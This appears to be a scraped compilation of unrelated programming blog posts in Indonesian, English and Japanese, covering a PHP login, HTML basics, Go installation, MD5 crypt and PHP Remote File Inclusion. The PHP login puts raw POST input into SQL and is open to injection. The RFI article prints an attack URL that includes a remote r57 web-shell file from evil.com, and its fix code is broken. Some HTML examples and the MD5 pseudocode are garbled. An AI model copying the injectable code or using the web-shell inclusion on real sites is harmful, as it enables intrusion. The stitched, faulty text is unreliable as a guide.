Membuat Login (PHP)

Code database :

CREATE TABLE `member` (

`id` bigint(20) NOT NULL auto_increment,

`user` varchar(30) default ‘0′,

`pass` varchar(200) default ‘0′,

`nama` varchar(255) default ‘0′,

PRIMARY KEY  (`id`)

) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;

INSERT INTO `member` VALUES (1, ‘XmoenseN’, ‘h4nk_cyber’, ‘Harry Setya Hadi’);

Code Index.php

<?php

mysql_connect(‘localhost’,'root’,”) or die (“Error koneksi”);

mysql_select_db(‘member’);

if ($_POST['login'])

{

$q=mysql_query(“select * from member where user = ‘”.$_POST['username'].”‘ AND pass = ‘”.$_POST['password'].”‘”) or die (“error”);

if ($cek=mysql_num_rows($q) == 0)

{

echo “User Atau Password yang anda masukan Salah”;

}else{

while($data=mysql_fetch_array($q))

{

session_start();

$_SESSION['user']=$data['user'];

$_SESSION['nama']=$data['nama'];

header(‘location: main.php’);

}

}

}

?>

<form method=’post’ action=”>

User :<input type=’text’ name=’username’><br>

Pass :<input type=’text’ name=’password’><br>

<input type=’submit’ value=’login’ name=’login’>

</form>

Code main.php

<?php

session_start();

echo $_SESSION['nama'];

?>

Tampilan dari code di atas :

Tampilan login.php

Tampilan main.php

Tampilan kesalahan login

Sekian trik dalam belajar php, dari code di atas anda bias kembangkan dengan yg lebih efesien dan bagus. Code ini hanyalah sekedar dasar kita untuk membuat sebuah login.

“salam perjuangan”

ini ada sebuah tugas akhir teman saya yg bernama Rianggara Afangga atau lihat blognya d http://afangga.blogspot.com/

ini ada tampilan web yg d kaih teman saya.

mungkin saya tidak dapat memperbaiki dengan sempurnah, tapi saya mencoba untuk membuat webnya lebih baik. karena dengan berbagai kekurangan yang ada, semoga tugas akhir teman saya ini sukses. mungkin ada perubahan yg saya lakukan antara lain, database denga chart yg tidak sesuai apa yg d inputkan. dan ada beberapa yg d hilangkan yg menurut saya yg mubazir saja, contoh file config yg d bikin 2 buah,menurut saya sih cuma butuh 1 saja bisa. dan halam index dan beberapa modif d folder, karena file proses nilai  yg d lakukan terletak d luar, sebaiknya dbuatkan folder 1 buah yg d protek. kalau terletak d luar bisa d akses oleh org lain, karen ini saat bahaya untuk ujian online.

mungkin saya usahakan pake css untuk mengatur tampilan atau pake javascritp untuk bagian yg perlu. contoh java scritp yg d gunakan protek klik kanan, dan ada yg sangat fatal menurut saya yaitu hapir sama dengan tragedi KPU 2005 yaitu SQL injection atau blind PHP. karena d sini hal tersebut bisa d lakukan. dan berbagai hal yg d anggap penting. tapi ingat d sini saya bukan yg pro tapi berusah lebih baik, mungkin setalh melakukan modifikasi mungkina da beberapa bug yg tterbuka. karena pikaran yg begitu sempit ruang lingkupnya. thanks for you cokjohon yg telah mempercayai saya untuk melakuakn modifnya. dan ini akan menambah pengetahuan saya tentang web dan security web.

Code : index.php

<?php
session_start();
include(‘connect.php’);

function IsExists(){ //fungsi untuk mengecek apakah sudah ada data dalam table
$result = mysql_query(’select count(*) from counter’);
$row = mysql_fetch_array($result);
return($row[0] > 0); //kembalikan nilai true jika ternyata sudah ada data
}

function hitung(&$visitor, &$pageview){
if(!IsExists()){ //Jika belum ada data sama sekali dalam table, isi data perdana, visitor = 1, pageview = 1
mysql_query(‘insert into counter values(1,1)’);
}else{ //Jika sudah ada data
//Tambahkan pageview dengan 1
mysql_query(‘update counter set pageview=pageview+1′);

//Jika ternyata pertama kali diload dari browser
if(!isset($_SESSION['first_visit'])){
//tambahkan visitor dengan 1
echo($_SESSION['first_visit']);
mysql_query(‘update counter set visitor=visitor+1′);
$_SESSION['first_visit'] = ‘123′;
}
}

$result = mysql_query(’select * from counter’);
$row = mysql_fetch_array($result);
$visitor = $row[0];
$pageview = $row[1];
}

hitung($visitor, $pageview);
echo(‘Visitor : ‘ . $visitor . ‘<br/>’);
echo(‘Pageview : ‘ . $pageview );

?>

data Base :

create table counter(
visitor int,
pageview int
);

Code : Connect.php

<?
$koneksi = mysql_connect(“localhost”, “root’, “”) or die(mysql_error());
mysql_select_db(“couter”, $koneksi) or die(mysql_error());
?>

Lakukan Perubah pada sistem webserver anda. selama mencoba

Berapa waktu yang lalu , saya sangat terarik ke perkembangan flash , mencoba sedikit mempelajari cara kerja nya .Dengan flash, website yang kita design menjadi semakin interaktif dan banyak fitur yang bisa kita tambahkan ke web site kita . Macromedia flash adalah salah satu ide yang saya ketahui dapat mengedit flash selain aplikasi-aplikasi lainya ,namun sayang nya macromedia flash ini belum ada untuk versi opensource nya .Setelah cukup lama mencari dan mencoba , saya menemukan beberapa aplikasi yang dapat menggantikan macromedia flash dalam hal mengedit file flash .

1.Flash for Linux merupakan salah satu IDE (Intergrated Development Invorinment) untuk flash yang mudah digunakan , dibantun dengan Kdevelop dan bergantung pada ketersediaan Qt , versi Qt yang dibutuhkah 3.4 keatas .Tampilan nya akan mengingatkan kita pada macromedia flash 8 , namun anda jangan keberu tertitu , ini bukan macromedia flash .

2. OpenLazslo Memiliki lebih banyak otomasi diberbagai

sektor , kita tidak perlu repot-repot mempelajari action script seperti di macromedia flash , script yang digunakan menyerupai xml ,untuk dapat menggunakanya kita membutuh kan apache tomcat untuk servlet server nya .

3. Salasaga Project ini ditujukan untuk memudahkan para pembuat materi pembelajaran dalam membuat modul pembelajaran , aplikasi ini mudah untuk digunakan .Pembuatan tutorial menggunakan aplikasi komputer akan lebih mudah jika menggunakan aplikasi ini , cocok untuk pendidik yang membutuhkan aplikasi untuk membuat modul pembelajaran

Tampilan :

Komponen yang di gunakan adalah :

2 buah swing.JButton

11 Buah swing.Jlabel

15 Buah awt.TextField

Pada JButton Proses IP ketikan kode berikut ini :

int client=0,awal=0,akhir=0,sub=0;

client=Integer.parseInt(vclient.getText());

if(client == 0) {

awal=000;

akhir=000;

sub=000;

} else if (client == 1) {

awal=254;

akhir=0;

sub=254;

}else if (client <=3){

awal=249;

akhir=249+client;

sub=252;

} else if (client <= 7) {

awal=241;

akhir=241+client;

sub=248;

} else if (client <= 15) {

awal=225;

akhir=225+client;

sub=240;

} else if (client <= 31) {

awal=193;

akhir=193+client;

sub=244;

} else if (client <= 63) {

awal=129;

akhir=129+client;

sub=191;

} else if (client <= 127) {

awal=1;

akhir=1+client;

sub=128;

} else if (client <= 255) {

awal=1;

akhir=254;

sub=0;

} else if (client >=255) {

awal=000;

akhir=000;

sub=000;

}

vawal.setText(String.valueOf(awal));

vakhir.setText(String.valueOf(akhir));

vsub.setText(String.valueOf(sub));

vawal1.setText(String.valueOf(awal));

vakhir1.setText(String.valueOf(akhir));

vsub1.setText(String.valueOf(sub));

}

Pada JButton Exit ketikan perintah ini :

this.dispose();

Variable  Text.Field

tampilan adalah berikut ini :

Setelah semua code di ketikan, maka tekan “F9”

Apabila sukses, seperti gambar di bawah ini :

Lalu coba jalankan dengan cara menekan tombol “ Shift + F6 “. Masukan jumlah clientnya, dengan secara otomatis Ip awal dan IP akhir dengan Subnet Masknya akan terbentuk.

Google Sets
Automatically create sets of items from a few examples.

Google Sets on one creation of Google that has help me a lot in my blogs.

Its the best way to Generate Tags that ensure that traffic comes to your blog and your blog gets a nice page rank.

Example

films
review
movie
hindi
latest
movies
film
movie
reviews
cinema
dvd
entertainment
mobile
arts
update

I love this conpect of Google and want to Praise them for it.

Only way i could do this is by my blog.. so here it goes.. ” Good Job Done Googlers “

Must say these googlers have a very different way of looking at things.

I will write a blog on Googlers in few days… Keep Lookin..

© All Rights Reserved Saurabh Goswami
www.saurabhgoswami.info

先のエントリで会社のVM中のCentOSに入れたGoですが、帰宅して自宅PCのXubuntu上にも入れてみました。

基本的にインストール手順は同じ。

OS: Ubuntu 9.10
CPU: Atom 330
Memory: 1GB

なので、環境変数「GOOS=”linux”」「GOARCH=”386″」も同じ…
と思いましたが、Atom 330 だから64bitでいける筈!

そんなわけで、「GOARCH=”amd64″」にしてみました。

で、

$ apt-cache pkgnames | egrep ‘^(bison|gcc|libc6-dev|ed)$’
bison
ed
gcc
libc6-dev

となったので、取り敢えず必要とされるパッケージは揃ってるな…
と思ったら然に非ず。

ナンかbisonでエラーが出ます…orz

仕方ないので

$ sudo apt-get install bison

とかすると、追加でm4関連のパッケージがインストールされました。なんだかなー

さて気を取り直して…

$ cd $GOROOT/src

$ time ./all.bash

[...snip...]

%%%% making libcgo %%%%

gcc -m64 -O2 -fPIC -o linux_amd64.o -c linux_amd64.c
gcc -m64 -O2 -fPIC -o amd64.o -c amd64.S
gcc -m64 -O2 -fPIC -o util.o -c util.c
In file included from /usr/include/features.h:378,
from /usr/include/stdint.h:26,
from libcgo.h:5,
from util.c:5:
/usr/include/gnu/stubs.h:9:27: error: gnu/stubs-64.h: No such file or directory
In file included from /usr/include/features.h:378,
from /usr/include/pthread.h:23,
from linux_amd64.c:5:
/usr/include/gnu/stubs.h:9:27: error: gnu/stubs-64.h: No such file or directory
make: *** [util.o] エラー 1
make: *** 未完了のジョブを待っています….
make: *** [linux_amd64.o] エラー 1

real    1m18.451s
user    2m58.555s
sys    0m21.285s

だめですた…orz
そういやOSは32bit版を入れた気がする。64bit用のヘッダとか入ってるわけないか。

仕方無しにやっぱ32bitの「GOARCH=386」で。

$ time ./all.bash

[...snip...]

— cd ../test
0 known bugs; 0 unexpected bugs

real    6m56.743s
user    7m52.618s
sys    0m55.495s

インストール完了。

ついでにTutorialの最初の一歩、恒例の「Hello,world」を。
ちなみに $GOARCH が 386 だと、

• コンパイラ
  $GOBIN/8g
• リンカ
  $GOBIN/8l

みたいですな。なので…

$ cd ~/work/dev
$ vi helloworld.go

/**
*  Hello, world
**/

package main
import “fmt”

func main() {
fmt.Printf(“Hello, world; or Καλημέρα κόσμε; or こんにちは 世界\n”);
}

$ 8g helloworld.go
(→ helloworld.8 が作成される)
$ 8l helloworld.8
(→ 8.out が作られる)
$ ./8.out
Hello, world; or Καλημέρα κόσμε; or こんにちは 世界

取り敢えず動いたところで今日はもう寝ることにしよう。

Googleから、謹製の新プログラミング言語、「Go」が発表された。
既に日本語でまとめて下さっている方がいらっしゃるので、読んでみる。

取敢えず、会社のPCのVMに入れてある CentOS に入れてみた。

OS: CentOS 5.4

1. 必要なものを入れる
   ※bison、mercurial (mercurial はリポジトリからのソースの取得に使う)

    

   $ sudo yum -y install bison mercurial

2. 環境作成
   • ディレクトリ作成
     取敢えず $HOME の下に、デフォルトどおりのディレクトリ構成にしてみる。

      

     $ cd $HOME
     $ mkdir go bin

   • 環境変数設定
     デフォルトどおりなら特に必要ないと思われるが一応。
     また、私の場合はShellが zsh なので .zshrc を編集したが、 bash の場合は当然 .bashrc に読み替える。

      

     $ vi ~/.zshrc

     ※以下を追記
     —ここから—
     ## For Go
     export GOROOT=”$HOME/go”
     export GOOS=”linux”
     export GOARCH=”386″
     export GOBIN=”$HOME/bin”
     —ここまで—

     $ source ~/.zshrc

   • ソースをリポジトリから取得
     

     $ hg clone -r release https://go.googlecode.com/hg/ $GOROOT

     $GOROOT 以下のディレクトリ構成は以下のようになっている。

     $ ll $GOROOT
     合計 48
     -rw-rw-r– 1 333 11月 12 16:54 AUTHORS
     -rw-rw-r– 1 1894 11月 12 16:54 CONTRIBUTORS
     -rw-rw-r– 1 1557 11月 12 16:54 LICENSE
     -rw-rw-r– 1 468 11月 12 16:54 README
     drwxrwxr-x 4 4096 11月 12 16:54 doc
     -rw-rw-r– 1 785 11月 12 16:54 favicon.ico
     drwxrwxr-x 2 4096 11月 12 16:54 include
     drwxrwxr-x 4 4096 11月 12 16:54 lib
     drwxrwxr-x 6 4096 11月 12 16:54 misc
     drwxrwxr-x 2 4096 11月 12 16:54 pkg
     drwxrwxr-x 8 4096 11月 12 16:54 src
     drwxrwxr-x 9 4096 11月 12 16:54 test

3. インストール
   

   $ cd $GOROOT
   $ ./all.bash

   ラスト、以下のように表示されて終了。

   — cd ../test
   0 known bugs; 0 unexpected bugs

Program C++ memang tidak akan pernah lepas dari suatu fungsi/function. Hal ini
karena merupakan ciri OOP. Sebuah program C++ minimal memiliki satu fungsi
yaitu main(). Fungsi ini merupakan awal program utama. Tulisan main()
merupakan nama fungsi, sedangkan bagian yang diapit dengan { dan } disebut
blok (tubuh fungsi). Dalam hal ini { merupakan tanda awal blok dan } adalah
tanda akhir blok. Seperti halnya dalam Pascal, { dalam Pascal identik dengan
BEGIN, sedangkan } identik dengan END. Perintah void bermakna bahwa fungsi
main() tidak mengembalikan nilai/value.
Cara penulisan fungsi main() tidak mutlak seperti di atas. Berikut ini cara
penulisan yang lain
#include <iostream.h>
int main()
{
cout << “Hello world.\n”;
return 0;
}

Ide dasar OOP adalah mengkombinasikan data dan fungsi untuk mengakses data
menjadi sebuah kesatuan unit. Unit ini dikenal dengan obyek. Sebagai gambaran
untuk mempurmudah memahaminya, obyek sebenarnya dapat mencerminkan
pola kerja manusia sehari-hari. Sebuah obyek dapat diibaratkan sebagai
departemen di dalam sebuah perusahaan bisnis, misalnya departemen
- penjualan
- akunting
- personalia
Pembagian departemen dalam perusahaan merupakan upaya untuk memudahkan
pengoperasian perusahaan. Sebagai gambaran, jika Anda seorang manajer
penjualan di kantor pusat ingin mengetahui data para salesmen di kantor cabang,
apa yang Anda lakukan? Langkah yang Anda tempuh pasti bukan datang ke
kantor cabang dan mencari data-data tersebut. Untuk memudahkan tugas Anda
cukup Anda menyuruh sekretaris untuk meminta informasi. Masalah bagaimana
dan siapa yang mencarikan bukanlah urusan Anda. Analogi dengan hal itu, kalau
seseorang bermaksud menggunakan obyek, ia cukup mengirim pesan ke obyek
dan obyek itu sendiri yang akan menanganinya.

If you have a website you might want to make links you can click on and insert images instead of plain text. Below is how to insert a link.

<a href=”http://www.linkurl.com”>Link Text Here</a>

If you notice it started with <a and ended with </a> that is showing that it started and ended. the href=”  is telling the computer it is the url and it is starting. After the url is a “> that is telling the computer it is done with the link’s url and is starting what the link will be called. That is pretty simple you replace the url with whatever url you want and replace the text with what you want the link to be called on the website. Below is how to insert an image.

<img src=”http://www.imageurl.com”/>

That is how to insert an image without adding some more information and is not the best way to insert images below is hot to use the alt attribute.

<a href=”http://www.imageurl.com” alt=”Image”/>

The alt attribute is used if the image does not appear on the website it will have the text instead. This is a good thing to get used to doing. There is even more you can add to the image. Below is how to tell the computer the image dimensions.

<a href=”http://www.imageurl.com” alt=”Image” width=”100″ height=”100″ />

This is another good thing to do because The internet browser will already know where the image is going to be and how big it is. If you don’t then the text might move when someone is reading it because an image just loaded.

<a href=”http://www.yourdomain.com”><img src=”http://imageurl.com” width=”100″ height=”100″ alt=”Image” /></a>

That is how you make an image link to another website if you click on it. Below is how to make a border around the image.

<a href=”http://www.yourdomain.com”><img src=”http://imageurl.com” width=”100″ height=”100″ border=”10″ alt=”Image” /></a>

That makes a border of 10 pixels around the image. Below is how to make a link and an image link that opens in a different tab or window when they click on it.

<a href=”http://www.yourdomain.com” target=”_blank”><img src=”http://imageurl.com” width=”100″ height=”100″ border=”10″ alt=”Image” /></a>

<a href=”http://www.yourdomain.com” target=”_blank”>Link Text Here</a>

The top one is how to make an image link open in a new tab and the bottom one is how to do that with a link.

Dalam kriptografi, MD5 (Message-Digest algortihm 5) ialah fungsi hash kriptografik yang digunakan secara luas dengan hash value 128-bit. Pada standart Internet (RFC 1321), MD5 telah dimanfaatkan secara bermacam-macam pada aplikasi keamanan, dan MD5 juga umum digunakan untuk melakukan pengujian integritas sebuah file.

MD5 di desain oleh Ronald Rivest pada tahun 1991 untuk menggantikan hash function sebelumnya, MD4. Pada tahun 1996, sebuah kecacatan ditemukan dalam desainnya, walau bukan kelemahan fatal, pengguna kriptografi mulai menganjurkan menggunakan algoritma lain, seperti SHA-1 (klaim terbaru menyatakan bahwa SHA-1 juga cacat). Pada tahun 2004, kecacatan-kecacatan yang lebih serius ditemukan menyebabkan penggunaan algoritma tersebut dalam tujuan untuk keamanan jadi makin dipertanyakan.

Crypt MD5 ditulis oleh Paul Henning Kamp untuk FreeBSD. Alasan utama menggunakan MD5 adalah untuk menghindari masalah larangan ekspor Amerika atas 11 produk-produk kriptografi, dan bisa memproses password yang panjangnya lebih dari 8 karakter. Algoritma crypt MD5 adalah fungsi derivasi kunci yang bagian utamanya menggunakan algoritma MD5.

Password dan salt menjadi input untuk crypt MD5. Dalam crypt MD5, input ini dikombinasikan menjadi aliran data untuk diproses oleh algoritma-algoritma MD5, output-output dari algoritma MD5 dikombinasikan lagi sebagai input untuk algoritma-algoritma MD5 berikutnya, begitu seterusnya sampai satu kondisi untuk penghentian perulangan terpenuhi.

Modifikasi Algoritma MD5
Agar dapat secara efisien memproses aliran data yang tidak dari awal diketahui panjangnya, algoritma MD5 perlu dimodifikasi menjadi tiga bagian MD5 init, MD5 update, MD5 final. MD5 init menginisialisasi MD5 contex, MD5 update memproses potongan message untuk mengupdate nilai MD5 contex. MD5 final memproses MD5 contex menjadi output hash MD5.
MD5 contex ((h1, h2, h3, h4), s, l) adalah kumpulan empat word 32 bit (h1, h2, h3, h4), satu string s yang panjangnya kurang dari 64 byte (512 bit) dan satu bilangan 64 bit l.

Algoritma MD5 init
INPUT : Tidak ada
OUTPUT : MD5 contex
1. (h1, h2, h3, h4) ? (0×67452301, 0xefcdab89, 0×98badcfe, 0×10325476)
2. 2. s ? NULL
3. 3. l ? 0
4. 4. Output adalah MD5 contex ((h1, h2, h3, h4), s, l).

Algoritma MD5 update
INPUT : MD5 contex ((h1, h2, h3, h4), s, k) dan string x dengan panjang b sembarang.
OUTPUT : MD5 contex
1. Notasi.
L(z) adalah panjang string z
Mbl((H1,H2,H3,H4),z) adalah pemrosesan MD5 blok dengan empat word
(H1,H2,H3,H4) dan blok string z 512 bit.
+ adalah penjumlahan modulo 264
2. y ? s||x
3. Andaikan n = L(y), maka ada m dan l sedemikian hingga n = 512m+l, 0 = l< 512, m = 0.
Uraikan y menjadi y = y0y1..ym-1ym dengan L(yi) = 512 untuk 0 = i = m – 1, L(ym)=l.
4. Untuk i dari 0 sampai m – 1 lakukan langkah berikut:
(h1, h2, h3, h4) ? Mbl((h1, h2, h3, h4), yi)
k ? k + 512
5. Output.
Output adalah MD5 contex ((h1, h2, h3, h4), ym, k)

Algoritma MD5 Final
INPUT : MD5 contex ((h1, h2, h3, h4), s, k)
OUTPUT : kode hash
1. l ? L(s)
2. k ? k + l
3. Jika l = 448 lakukan:
Tambahkan satu bit 1 pada s, kemudian tambahkan bit 0 sampai L(s) = 512 + 448
Uraikan s menjadi s = s0s1 dengan L(s0) = 512 dan L(s1) = 448
(h1, h2, h3, h4) ? Mbl((h1, h2, h3, h4), s0)
s ? s1
4. Jika l < 448 lakukan:
Tambahkan satu bit 1 pada s, kemudian tambahkan bit 0 sampai L(s) = 448
5. Tambahkan bit-bit representasi k pada s, sehingga L(s) = 512.
6. (h1, h2, h3, h4) ? Mbl((h1, h2, h3, h4), s).
7. Output.
Output adalah penggabungan h1||h2||h3||h4.

Algoritma Message digest MD5
INPUT : String-string x0×1..xm dengan panjang masing-masing sembarang.
OUTPUT : Kode hash Message digest.
1. Notasi.
Cx adalah MD5 contex, Cx = ((h1, h2, h3, h4), x,l).
Min adalah pemrosesan MD5 init.
Mup(Cx, x) adalah pemrosesan MD5 update dengan input MD5 contex Cx dan string x.
Mfin(Cx) adalah pemrosesan MD5 final dengan input MD5 contex Cx.
2. Cx ? Min
3. Untuk i dari 0 sampai m lakukan langkah berikut:
Cx ? Mup(Cx, xi)
4. Output.
Output adalah Mfin(Cx)

Transformasi Base 64
Transformasi base64 adalah pemetaan dari data-data 6 bit ke kumpulan 64 karakter ‘./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz’.
Transformasi base64 digunakan dalam crypt MD5 untuk merepresentasikan bit-bit output dari algoritma MD5. Representasi dengan transformasi base64 menghasilkan string yang lebih pendek daripada representasi string nilai heksadesimal, karena satu karakter dari string base64 mewakili 6 bit data, sedangkan satu karakter string nilai heksadesimal mewakili 4 bit data.
Algoritma Transformasi base64
INPUT : string bit r dan banyaknya karakter output n.
OUTPUT : string output.
1. s?./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
s[0] = ., s[1] = /, s[2] = 0, …, s[63] = z
2. t ? NULL
3. Selama n > 0 lakukan langkah berikut:
i ? r ^ 0×3f
t ? t||s[i]
r ? r ? 6
n ? n – 1
4. Output.
Output adalah string t.

Algoritma Crypt MD5
Algoritma crypt MD5 mengambil input string password dan string salt, dan menghasilkan output string dengan panjang 26 sampai 34 karakter, tergantung dari panjang salt.
Algoritma Crypt MD5
INPUT : string password s dan string salt t yang diawali ‘$1$’
OUTPUT : string hasil crypt.
1.   Notasi.
p karakter pertama dari s.
f tiga karakter awal salt ‘$1$’.
r karakter-karakter salt setelah ‘$1$’ sampai delapan karakter atau sampai
ditemukan karakter ‘$’ atau sampai akhir string.
Cx1 , Cx2 MD5 contex.
L(a) adalah panjang string a dalam satuan byte.
2.  m L(s)
3.  Cx1 ? Min
4.  Cx1 ? Mup(Cx1 , s)
5.   Cx1 ? Mup (Cx1 , f)
6.  Cx1 ? Mup (Cx1 , r)
7.  Cx2 ? Mup (Cx2 , s)
9.  Cx2 ? Mup (Cx2 , r)
10.  Cx2 ? Mup (Cx2 , s)
11.  a ? Mfin(Cx2)
12. Uraikan a menjadi a = a0a1..a15 dengan L(ai) = 1, 0 = i = 15.
Ambil b = b0b1..bm-1 dengan bi = ai mod 16, 0 = i = m – 1
Cx1 ? Mup(Cx1 , b)
13.  i ? m
14.  Selama i > 0 lakukan langkah berikut:
jika i ^ 1 = 1 maka c ? 0 (satu byte).
jika i ^ 1 ? 1 maka c ? p
Cx1 ? Mup(Cx1 , c)
i ? i ? 1
15.  a? Mfin(Cx1)
16.  Untuk i dari 0 sampai 999 lakukan langkah berikut:
Cx1 ? Min
jika i ^ 1 ? 0 maka Cx1 ? Mup(Cx1 , s)
jika i ^ 1 = 0 maka Cx1 ? Mup(Cx1 , a)
jika i mod 3 ? 0 maka Cx1 ? Mup(Cx1 , r)
jika i mod 7 ? 0 maka Cx1 ? Mup(Cx1 , s)
jika i ^ 1 ? 0 maka Cx1 ? Mup(Cx1 , a)
jika i ^ 1 = 0 maka Cx1 ? Mup(Cx1 , s)
a ? Mfin(Cx1)
17.  Uraikan a menjadi a = a0a1..a15 dengan L(ai) = 1, 0 = i = 15.
18.  c0 ? B64(a0||a6||a12, 4)
19.  c1 ? B64(a1||a7||a13, 4)
20.  c2 ? B64(a2||a8||a14, 4)
21.  c3 ? B64(a3||a9||a15, 4)
22.  c4 ? B64(a4||a10||a5, 4)
23.  c5 ? B64(a11, 2)
24. Output.
Output adalah penyambungan f||r||$||c0||c1||c2||c3||c4||c5

Baca selengkapnya di :

http://id.wikipedia.org/wiki/MD5

If you have not used color in your HTML document you should try and see that using color can be a good thing. The first thing you  need to know about colors is that there are certain web safe colors just like web safe fonts. The web safe fonts you can enter there names and they will work. You can use any color if you enter in the hexadecimal color number (like white is #ffffff). To change the background color you type in the tag below.

<body bgcolor=#ffffff>

That makes the background color white if you want it black it is #000000 and if you want to pick a color a good website to go to is http://www.colorpicker.com/. Below is how to change the font color to black.


That is the hello world website. If you have that as your website the text is plain and everything is default. This is how to do some basic formating like size and type and stuff like that. Tomorrow’s tutorial will be how to use colors in the HTML document. The first thing you might want to do is make something bold. Below is how to make the word hello bold.

<b>Hello</b> World

Notice that I used the <b> tag that is how to make something bold. To end the bold tag use </b> you can start and end it anywhere so if you wanted to you could of made just the H bold. After that you might want to make something italicized. Below is how to make World italicized.

<b>Hello</b> <i>World</i>

Notice that I used <i> to start it and </i> to end it, it is kind of like the <b> tag because you can start and stop it anywhere. The next thing you might want to do is make something underlined. Below is how to make the whole thing underlined.

<u><b>Hello</b> <i>World</i></u>

That makes everything underlined and hello bold and world italicized. The next thing you might want to do is make the text a different font. Below is how to make something an arial font.

<font face=”arial”>Hello World

Notice that I did not end it you do not need to end font tags to change font just do it again with a different font name. If you use a font you will need to make sure you are using a web safe font. That means that it works on Macs, Windows, and on Linux. To list more than one font so if one computer does not have it then it will go to the next on you put a coma after the first font and list another. The next thing you might want to do is make a font bigger or smaller. Below is one way to do that.

<font face=”arial”> <font size=”10px”> Hello World

That makes the font size 10 pixels. This is another tag you do not need to end you just enter it in again but a different size to make it bigger or smaller. There is one other way to adjust font size. Below is how to do that.

<h1>Hello World</h1>
<h2>Hello World</h2>
<h3>Hello World</h3>
<h4>Hello World</h4>
<h5>Hello World</h5>
<h6>Hello World</h6>

That makes the font in different sizes 1 is biggest and 6 is smallest. You do need to end this tag before entering in another. Another thing you might want to do is center the text . Below is how to center Hello World.

<center> Hello World </center>

This tag needs to be ended when you want the text to stop being centered. Another thing you might want to do is make a paragraph or break the text. Below is  how to do that with the words hello world.

<p>
Hello
<br>
World
</p>

The <p> tag is how to start the paragraph and the </p> tag is used to end the paragraph it does need to be ended. The <br> tag is used to make a line break or  new line. It does not need to be ended. That is all for this tutorial tomorrow’s tutorial will be on colors.

Pendahuluan
PHP adalah salahsatu bahasa pemrograman web yang pengguna dan penikmatnya cukup banyak di area cyberspace. dikarenakan bahasa web ini yang dinamis dan termasuk dalam opensource (info : http://php.net). PHP menjadi “ladang” pengaplikasian berbagai variabel yang ada dalam script secara autoglobal oleh programer dan juga menjadi “ladang” attacking para attacker karena PHP memiliki fasilitas autoglobal pada beberapa variabel :p

GET and POST
Diawali dengan deklarasi variabel GET/POST yang berasal dari fasilitas autoglobal yang ada dalam PHP. variabel register_global yang tersetting “on” pada file php.ini berfungsi untuk membatasi variabel-variabel apa saja yang akan digunakan dalam script php. jika register_global on maka web admin tidak perlu spesifik dalam mendefinisikan variabel dan jika off. maka variabelpun harus di definisikan secara spesifik. seperti ini lah contoh script php nya :

<?php
echo $_POST['newhack']; //variabel newhack dikirim dengan methode POST
?>

dari sisi pengamanan settingan on lebih rawan daripada off. dikarenakan variabel-variabel yang dibatasi sangat minim. apabila kita settingan off maka effisiensi code sangat lah besar. jadi, pentingnya register_global sangat di utamakan dalam sebuah aplikasi web yang bertujuan dalam hal pengamanan.

Parameter Include
Berhubungan dengan sub-bab diatas, fasilitas autoglobal pada PHP juga pasti berpengaruh pada parameter fungsi include(), require(), fopen() dan lain-lain. contoh variabel seperti itu dengan mudah dapat diisi dengan variabel GET/POST atau COOKIES/SESSION. karena pengaruh autoglobal itu sendiri.

saya akan memberikan contoh salah-satu bug yang berhubungan dengan variabel-variabel diatas. Remote File Inclusion, bug klasik (mungkin sekarang masih ada :p) yang digunakan untuk me-remote web/server si target.
contoh script PHP :

<?php

$file =$_GET['page']; // contoh kita akan menginclude file galeri.php
include($file);
?>

tanpa sanitasi input dalam proses pengeksekusian $file =$_GET['page'];
http://www.site.com/index.php?page=galeri.php
maka attacker akan dengan mudah menginjek proses $file dengan evil scriptnya. contoh menjadi seperti ini
http://www.site.com/index.php?page=http://www.evil.com/r57.txt?
dan bila kita lihat source codenya akan menjadi seperti ini :
<?php
$file =”http://www.evil.com/r57.txt?”; / /$_GET['page'];
include($file);
?>

script $file akan menjadi script yang di injekan oleh si attacker. prosesnya seperti ini. pertama, awal dari bug ini adalah lagi-lagi fungsi dari include. fungsi ini berguna untuk menginclude (memasukan) file, yang disini telah dirubah menjadi file remote oleh si attacker. variabel fungsi yang sama terdapat pada include_once(), require(), require_once().
solusi dari bug ini sebenarnya sangat banyak. tapi bagi saya ada beberapa yang efisien digunakan. salah satunya dengan memasukan file yang sah di include ke array. contoh script seperti ini :

$file_valid = new array(”index”,”galeri”,”profil”);

$file = $_GET['page'];
if(!in_array($file_valid,$file)){$file = index;} // fungsi cek file
proses sederahananya seperti ini : $file_valid adalah variabel baru yang dimasukan ke array. lalu code selanjutnya adalah pengecekan ketika $file di injeksi oleh script attacker (www.evil.com/r57.txt) maka file tidak valid karena tidak ada dalam array $file_valid. lalu %file di ganti value (redirect) ke file index.php

Penutup
Sebenarnya masih banyak lagi celah-celah keamanan pada aplikasi web berbasis PHP. dari mulai proses input query database, system(), passthry(), shellexec(), exec() dan lain-lain. atau pada database seperti MySQL, bug dijalankan melalui perintah-perintah yang bisa kita inputkan di web browser. tapi dalam artikel ini saya hanya mengenalkan beberapa celah keamanan yang cukup diperhitungkan kondisinya.

If you have a website and use a WYSIWYG (what you see is what you get) editor then you might want to try HTML because you can do a lot more with HTML. HTML stands for Hyper Text Markup Language HTML is not a real programing language it is a Markup Language. HTML was started in 1980 and grew better and bigger later. HTML was introduced to the public in 1991. HTML can do a lot more today than it could do in 1991. There is now HTML 4.0, SHTML, XML, XML 5.0, XHTML, CSS, PHP, and more. Now there are applications on the internet that are like applications on your computer like Google Docs. There are even online operating systems that you can use. There is online file sharing online email online chat and lots more online things. There are even computers made to be on the internet they are netbooks. There are even operating systems that are based off of web apps like Jolicloud and Chrome OS is supposed to. Below is a simple website’s code.

That is how to make a website say hello world. tomorrow there will be a tutorial on how that works.

As we have all come to learn in the last decade plus of web development, web applications are inherently stateless.  Unlike their native client cousins, every request must be treated as if it was done in isolation from any other user action.  This can tend to complicate application level concerns.  More often than not people just end up polluting their application by mixing code that is related to servicing the http request, with their business logic.

We wanted a way to maintain application related plumbing such as database connections neatly maintained, without having to always worry about the stateless nature of http requests.  We noticed that ASP.NET has a really nice pattern that works really well in the HttpContext.Current property.  This is a static property that contains information about only the current request … at first I couldn’t figure out how this works because ASP.NET is by nature a multi-threaded environment.  How was it segregating the information, which is accessed statically, to each individual requests?

After doing some research online, I finally figured out a great way to maintain request level state across different components (ie. http module –> http handler –> mvc action filter –> etc.). I did a good bit of searching, but found it was succinctly put in a blog post by hanselman:

http://www.hanselman.com/blog/ATaleOfTwoTechniquesTheThreadStaticAttributeAndSystemWebHttpContextCurrentItems.aspx

